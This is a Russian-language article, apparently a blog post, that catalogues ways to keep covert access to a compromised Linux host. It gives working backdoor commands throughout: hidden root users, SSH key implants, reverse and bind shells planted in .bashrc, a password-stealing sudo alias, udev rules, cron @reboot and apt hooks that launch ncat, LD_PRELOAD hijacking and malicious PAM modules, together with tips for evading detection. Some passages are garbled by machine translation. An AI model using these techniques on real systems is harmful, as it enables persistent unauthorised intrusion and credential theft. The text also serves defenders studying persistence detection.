Вы получили доступ к системе — это хорошо, но появляется второй вопрос, как его не потерять. Завершение работы узла, завершение процесса — все это снова разрывает соединение. И вам придется начинать заново. Даже если вам удалось получить учетные данные действующего пользователя, изменение пароля может создать множество проблем. В статье я собрал в одном месте известные мне методы, начиная от простых до шумных, но есть и элегантные варианты на мой вкус. Вот сегодня мы рассмотрим как не потерять доступ к системе.
Не ожидайте никакого rocket science. Ничего такого, чего вы могли не знать раньше. И, конечно же, я написал статью исключительно в информационных целях. Все, что вы сделаете после этого, будет на вашей совести и на вашей ответственности.
Создание нового пользователя
Что бы юзеру не сменили пароль, про него естественно никто не должен знать, Вы можете создать свой собственный. Основная задача — сделать это незаметно, чтобы его не удалили.
Уровень 0: adduser hacker
Уровень 1: useradd -s / bin / bash hacker
— команда нижнего уровня, позволяет вам установить несколько параметров: и путь к домашнему каталогу (вы можете не создавать его вообще, чтобы оставаться незамеченным дольше), оболочку по умолчанию, UID пользователя. Совет: установите UID меньше 1000, чтобы ваш UZ выглядел как демон администратора. И он даже не появится на экране приветствия (кто использует графический интерфейс?). Вы можете сразу добавить пользователя в корневую группу. Ну или не забудьте хотя бы зарегистрировать своего пользователя в sudoers.
Уровень 99: sudo useradd -o -u 0 -g 0 -s / bin / bash deamon
— с помощью этой команды мы сделали возможным создание пользователей с неуникальными UID и создание нового root (uid = 0), для которого нет домашнего каталога. Обратите внимание на прикольность имени пользователя — это не опечатка.
Особые извращенцы могут вручную отредактировать файлы /etc/passwd
, /etc/shadow
и /etc/group
, и создать домашнюю директорию.
Как аналитик SOC, я могу точно сказать, что мы очень внимательно следим за изменениями во всех / etc / passwd и / etc / shadow.
Так что какой бы способ создания пользователя вы ни выбрали, вас очень легко заметят. И тогда я могу сказать, что есть способ создать пользователя без записи в файл / etc / passwd.
Для этого вы можете определить альтернативную базу passwd в файле /etc/nsswitch.conf.
Ключи SSH. Другой способ не потерять доступ при смене пароля — записать открытый ключ в ~ / .ssh / authorized_keys
. Так что пароль больше не потребуется. Это просто, сгенерируйте ключ ssh-keygen
, добавьте ключ .pub
в authorized_keys
и не забудьте установить правильные права (600), если вы еще этого не сделали. В противном случае вы не сможете использовать свой бэкдор.
«Автозагрузка»
Под автоматической загрузкой я подразумеваю любое действие, которое будет выполняться автоматически при запуске системы или входе пользователя в систему. Чтобы точно понять, где мы можем закрепиться, нам нужно понять, как загружается система, каковы этапы.
Автозагрузка на уровне ядра
Первым шагом является инициализация ядра системы, которое уже запускает подсистему инициализации (systemd, init, upstart). Здесь мы вряд ли сможем принести пользу себе. в файле конфигурации Grub /boot/grub2/grub.cfg
с помощью параметра ядра init вы можете указать, какая программа должна запускаться сразу после завершения инициализации ядра. Вы можете загрузить оболочку bash вместо systemd. Обычно полезно для сброса пароля root, если вы его забыли.
linux /vmlinuz-4.8.0-22-generic root=/dev/mapper/systems-ubuntu ro quiet init=/bin/bash
systemd — автозагрузка системы инициализации
Этот процесс отвечает за запуск системных демонов, дополнительных служб и сценариев на этапе инициализации системы. Обычно система инициализации имеет PID 1. Используйте ps -p1 | grep "init \ | upstart \ | systemd
, чтобы узнать вашу систему инициализации. Самым современным и распространенным является systemd. Любой скрипт может быть добавлен в автозагрузку как службу. Для этого вам необходимо создать файл модуля:
[Unit]
Description=My Script Service
After=multi-user.target
[Service]
Type=idle
ExecStart=/usr/bin/local/script.sh
[Install]
WantedBy=multi-user.target
После нужно сделать скрипт исполняемым sudo chmod u+x /usr/local/bin/script.sh
и активировать службу sudo systemctl enable myscript.service
.
Я не буду тут описывать формат unit-файлов. Для этого есть Google. (например, вот.). Да и это выходит за рамки темы статьи. Но стоит сказать, где обычно в системе располагаются unit-фаы:
/usr/lib/systemd/system/
– юниты из установленных пакетов RPM — всякие nginx, apache, mysql и прочее/run/systemd/system/
— юниты, создаваемые на лету — о них чуть позже~/.config/systemd/user/
— этот путь будет вам полезен, если вы не смогли подняться до root. Тут лежат user-mode services./etc/systemd/system/
— юниты, созданные системным администратором. Сюда можно размещать свои unit-файлы. А можно внести изменения в уже существующие, что будет менее заметно. Тут поможет только полет вашей фантазии.
-
Создайте свой сервис.
- Добавьте его в параметр Requires другой легитимной службы. И добавьте свой код в раздел OnFailure. В результате ваш сервис запустится вместе с легальным. Если администратор найдет файл с диском и удалит его, легитимная служба не сможет запуститься (никакой зависимости не требуется), это вызовет ошибку и будет выполнен код из раздела OnFailure.
Кто тебя тебя ведет?
Здесь стоит отметить, что systemd управляет службами и демонами, и это разные сущности. Основное различие между демоном заключается в том, что это неинтерактивная фоновая программа, полностью независимая от ввода данных пользователем. В дополнение к своим сервисам вы можете создавать своих собственных демонов. Существует несколько типов дисков systemd, и вы можете использовать любой из них, в зависимости от ваших целей: service, device, target, mount, automount, timer, socket, path, slice.
Автозагрузка rc.local и rc.common
Этот способ загрузки скрипта больше не работает. В современных системах Unix эта функциональность была полностью заменена на systemd, но матрица MITER ATT & CK выделяет сценарии RC в отдельную технику. Просто добавьте свой код в /etc/rc.local. Интересно, что после загрузки системы скрипты выполняются с правами root.
Для обеспечения обратной совместимости в системах использующих systemd
, используется специальный генератор /usr/lib/systemd/system-generators/systemd-sysv-generator
, который для RC-скриптов из /etc/init.d
генерирует unit-файлы на лету и выполняет их как службы. Они и располагаются в /run/systemd/system/
.
Окружения рабочего стола — XDG autostart
Большинство сред рабочего стола (desktop environments) и оконных менеджеров (windows managers) поддерживают автоматический запуск XDG. Сущности хранятся в ~ / .config / autostart или / etc / xdg / autostart /
и имеют расширение * .desktop
. Код, определенный в этих файлах, выполняется, когда пользователь входит в систему и загружает среду рабочего стола. Команды выполняются в контексте вошедшего в систему пользователя. Отложенный старт и другие параметры можно настроить. Фактически пути ~ / .config / autostart и / etc / xdg / autostart /
определяются переменными средыами $ XDG_CONFIG_HOME и $ XDG_CONFIG_DIRS
, их можно изменить, чтобы избежать обнаружения, если доступ для чтения и записи к файлам проверяется для указанных каталогов.
[Desktop Entry]
Type=Application # Определяет тип сущности: приложение (application), ссылка (link) или каталог (directory)
Name=Welcome # Имя определенное создателем сущности
Exec=/var/lib/gnome-welcome-tour # Команда с аргументами, которую необходимо выполнить
.bashrc, .bash_profile и .bash_login
Эти файлы определяют настройки оболочки пользователя, в которых вы можете определить команды, выполняемые при запуске терминала. У файлов также есть общесистемные аналоги, которые определяют общесистемные настройки и находятся в каталоге / etc /
. Bash_profile
выполняется только для интерактивных оболочек. .bashrc
— для интерактивных и неинтерактивных. В Ubuntu файл профиля напрямую вызывает файл .bashrc.
Файл .bash_login
не запустится, если в системе присутствует .bashrc.
Ну или что-то в этом роде. Не в этом суть.
Суть в том, как мы можем использовать эти файлы и что они позволяют делать.
echo 'bash -i >& /dev/tcp/ip/port 0>&1' > ~/.bashrc
— исполнится при входе пользователя и откроет реверс-шелл, главное, иметь ожидающий listener, где надо.
Мой друг задает один простой вопрос во время собеседования: «Может ли команда для смены каталога содержать 10 символов?» Ответ: «Да сколько угодно, если повесить alias». Если развивать тему, то можно придумать, как одной командой выполнять сразу несколько команд. Открывать backconnect, при вызове sudo.
alias sudo='echo -n "[sudo] password for \$USER: ";read -s pwd;echo; unalias sudo; echo "\$pwd" | /usr/bin/sudo -S nohup nc -lvp 1234 -e /bin/bash > /dev/null && /usr/bin/sudo -S '
Скорее всего, такой бэкдор будет жить ровно до тех пор, пока админ не изменит .bashrc. Хотя кое-где пишут, что это суперсекретные приемы, потому что администраторы очень редко перечитывают файлы конфигурации оболочки.
Будь то переменные окружения, особенно если что-то уже конкретное. Подумать только, еще одним — одним меньше. Мы пишем export PATH = $ PATH: / opt / local / bin
в файле .bashrc
— а затем помещаем наши собственные ls
в / opt / local / bin,
которые сначала открывают соединение с C2 и только затем отображают структуру каталогов. Поскольку переменная PATH анализируется с самого начала, выполняется наша вредоносная ls
, а не хорошая системная переменная. Спойлер: Вы не можете изменить значение переменных окружения только через .bashrc. Что ж, метод довольно сомнительный, вы можете добавить в закладки только сам исполняемый файл за раз. Но с обновлением забудут.
Driver backdoor
Философия UNIX заключается в том, что все является файлом. Сюда также входят подключенные устройства. В системе есть каталог х, в котором хранятся правила нормальной работы устройств. Изменяя эти правила, вы можете переименовать устройство, установить права доступа к нему, но главное, что нас интересует, — запускать скрипт при подключении устройства.
RSHELL="ncat ncat -lvp 1234 -e \"/bin/bash -c id;/bin/bash\" 2>/dev/null"
echo "ACTION==\"add\",ENV{DEVTYPE}==\"usb_device\",SUBSYSTEM==\"usb\",RUN+=\"$RSHELL\"" | tee /etc/udev/rules.d/71-vbox-kernel-drivers.rules > /dev/null
Как вы могли догадаться, при подключении к виртуальной машине USB-устройства порт 1234 начнет слушать в ожидании наших команд.
Cron jobs
Crontab — это первое, что приходит на ум, когда мы говорим о закреплении в системе Unix. Кажется, здесь даже комментарии излишни. Crontab — это планировщик задач Linux, который позволяет выполнять действия через определенный период, например 0 2 * * * / bin / sh backup.sh,
или при возникновении события (например, перезапуск сервера):
(crontab -l ; echo "@reboot sleep 200 && ncat 192.168.1.2 1234 -e /bin/bash")|crontab 2> /dev/null
Можно помещать свои скрипты в специальные директории. Скрипты должны иметь права на выполнение и их имя не должно содержать точки.
/etc/cron.minutely
— каждую минуту;/etc/cron.hourly
— каждый час;/etc/cron.daily
— каждый день;/etc/cron.weekly
— каждую неделю;/etc/cron.monthly
— каждый месяц.
Еще одной утилитой для создания запланированных заданий является at. Но в отличие от crontab, созданные с помощью нее задачи выполняются только один раз. Не придумал эффективного способа закрепиться с помощью нее в системе, кроме как устроить рекурсию, когда одна задача at при выполнении создает следующую.
Таймеры systemd — хорошая альтернатива crontab. Они могут вызывать выполнение различных действий в системе в определенный момент времени. И даже больше: таймеры по-прежнему могут вызывать задачу через определенное время после наступления события. По умолчанию в системе обычно несколько таймеров, их можно просмотреть с помощью команды systemctl status * timer
. По сути, таймеры — это одни и те же файлы модулей, только имя не .service, а .timer, и они связаны с определенной службой, которую нужно запускать по расписанию. Пример таймера, запускающего myMonitor.service каждую минуту:
[Unit]
Description=Logs some system statistics to the systemd journal
Requires=myMonitor.service
[Timer]
Unit=myMonitor.service
OnCalendar=--* ::00
[Install]
WantedBy=timers.target
PHP shell for web-server
Метод хороший, но не очень практичный. Звезды должны сходиться: сервер, к которому у вас есть доступ, должен действовать как веб-сервис. Ну или надо самому поднимать apache. Кроме того, через оболочку вы по-прежнему сможете выполнять код с ограниченными правами службы, из которой запущена служба. Опять же, если вы не перезапустите службу как root. Или каждый раз нужно искать способ повышения привилегий. Но с другой стороны, метод довольно ненавязчивый, особенно если ваша веб-оболочка принимает как минимум команды в кодировке base64, чтобы не отображать системные команды в журналах nginx. Шутка, путь никогда не бывает незаметным. Запуск cat id_rsa.pub> ~ / .ssh / authorized_keys от имени www-data — это именно то, что вы получите.
Dynamic Link Hijacking
Как происходит создание утилит операционной системы? Код пишется, а затем компилируется. Код по крайней мере для одной небольшой, продвинутой и сложной утилиты — это не файл, а несколько, которые подключены как библиотеки к основному файлу. Библиотеки бывают статичными и динамическими. Статические нас не интересуют — на этапе компиляции их код целиком помещается в исполняемый файл, и мы мало на него влияем. А вот динамические… Это отдельные независимые файлы, которые находятся где-то в операционной системе. При запуске утилита с внешними зависимостями ищет в операционной системе необходимые библиотеки. Здесь мы можем вмешаться.
Во-первых, нам нужно найти утилиту, использующую динамическую библиотеку. Разберитесь, какая функция вызывается. В этом нам поможет утилита ltrace
, которая позволяет отображать вызовы всех внешних функций. Затем мы создаем нашу библиотеку с тем же именем и определяем в ней ту же функцию. Важно, чтобы сигнатура нашей функции соответствовала сигнатуре исходной легитимной функции. Компилируем и размещаем в целевой системе.
Как теперь заставить двоичный файл утилиты использовать нашу библиотеку? Функция динамического компоновщика поможет нам, она сначала загружает библиотеки, определенные в переменной LD_PRELOAD
, и эти библиотеки имеют приоритет над остальными. То есть нам просто нужно изменить переменную среды LD_PRELOAD.
Один из способов — экспортировать в .bashrc.
То же самое можно сделать в файлах / etc / environment
или /etc/security/pam_env.conf.
PAM
Pluggable Authentication Modules (подключаемые модули аутентификации) — из перевода несложно догадаться что это модули аутентификации. До появления PAM администратор должен был пройти все 12 кругов ада, чтобы настроить какую-то внешнюю систему аутентификации. Теперь нам нужно изменить пару строк в нескольких файлах конфигурации. Если мы установим control_flag
как optional
в файле /etc/pam.d
для всех модулей, мы сможем войти в систему без пароля. Администраторы тоже. Поэтому наш бэкдор быстро найдет и закроет точку входа.
Немного менее заметный ход — написать собственный модуль. Файл с ним нужно разместить с другими модулями по пути / lib / x86_64-linux-gnu / security /. Что вы там реализуете, зависит от вашего воображения: волшебный пароль, открывающий все двери, или логирование паролей других пользователей, или вы можете сразу же открыть обратное соединение (почему бы и нет?). Вы можете добавить свой модуль, вы можете заменить существующий. Берем исходники, делаем закладку, собираем и заменяем.
Хорошая статья про PAM сдесь.
apt-get
Жаль но этот способ не самый надежный. Администраторы не любят ничего обновлять на важных серверах. Файлы конфигурации для утилиты apt (менеджер пакетов) хранятся в каталоге /etc/apt/apt.conf.d/
. Если у вас есть доступ на запись в этот каталог, есть довольно удобный способ закрепить его. Вероятно, вам потребуются привилегии root. Создайте файл и напишите APT :: Update :: Pre-Invoke {"CMD"}
; внутри. Теперь каждый раз, когда администратор сервера запускает обновление apt-get, ваша команда будет выполняться.
echo 'APT::Update::Pre-Invoke {"nohup ncat -lvp 1234 -e /bin/bash 2> /dev/null &"};' > /etc/apt/apt.conf.d/42backdoor
Способ украден у @RandoriSec.) Интересно, можно ли подобное сделать для apt-get
install
?
В журналах auditd я видел запуск ncat, но нет ни малейшего намека на то, что вызвало запуск команды. Таким образом, аналитикам SOC придется потрудиться, чтобы выяснить, где скрывается их код и почему он работает.
Port Knocking
Если вы погуглите эту технику, первое, что вы увидите, это «защищать», «усиливать» и «сохранять защитную сеть». Это немного похоже на системный якорь.
Короче говоря, суть: порт 22 (SSH) по умолчанию закрыт. Но где-то в системе есть предопределенная последовательность портов (они также закрыты), так что если вы выберете их в правильном порядке, произойдет волшебство и порт для подключения через SSH откроется для вашего IP-адреса. Никогда раньше о таком не слышал. Но, как выяснилось, прием довольно распространенный, даже в putty есть штатный функционал для port knocking. Сервер должен запустить службу, которая ждет, когда кто-нибудь постучит в его дверь. Чаще всего это служба knockd, ее можно установить менеджером пакетов и в файле конфигурации можно написать, чего ожидать и что делать. Что ж, вы сами решаете, что делать: открыть реверс шелл или отправить забавное сообщение администратору.
Гениальная техника, которая напоминает перестукивание паролями через стену в детском лагере. Есть только одна маленькая проблема. Установка нового пакета — это громко, но создание новой службы — палево. Поэтому вам нужно искать сервер с уже установленным knockd и вносить свои изменения или отключать ведение журнала.
trap
Еще один способ, определенный в MITRE ATT&CK. Иногда скриптам и приложениям посылаются специальные команды, например ctrl + C
, перехватив которые, скрипты выполняют некоторые действия. Определить эти действия можно командой trap
. Но я так и не нашел, куда мне надо прописать этот trap
, чтобы при нажатии на ctrl + C
, например, из ping
у меня открылся reverse-shell. А создавать свой скрипт, с которым это работает — очень такое себе. Ведь тогда какого-то пользователя системы надо заставить периодически запускать мой скрипт да еще и нажимать ctrl + C.
Итоги
В этой статье я попытался обобщить популярные методы закрепления в Linux в одном месте. Смысл консолидации в том, чтобы оставаться в системе как можно дольше, а это значит, что вы должны оставаться незамеченными. Следовательно, настойчивость идет рука об руку с некоторыми защитными приемами и вашим воображением. Вы определяете, как вы называете сценарии и где они размещаются. И чем больше это выглядит как законная деятельность, тем больше шансов, продержаться в системе как можно дольше времени. Вы не могли не заметить, что я уделял много внимания на то, как та или иная техника может вас выдать. Немного позже планирую собрать материал о том, как оставаться незамеченным в системе почти сто процентов. И я надеюсь, что аналитики SOC взяли из этой статьи хотя бы несколько вещей, на которые стоит обратить внимание.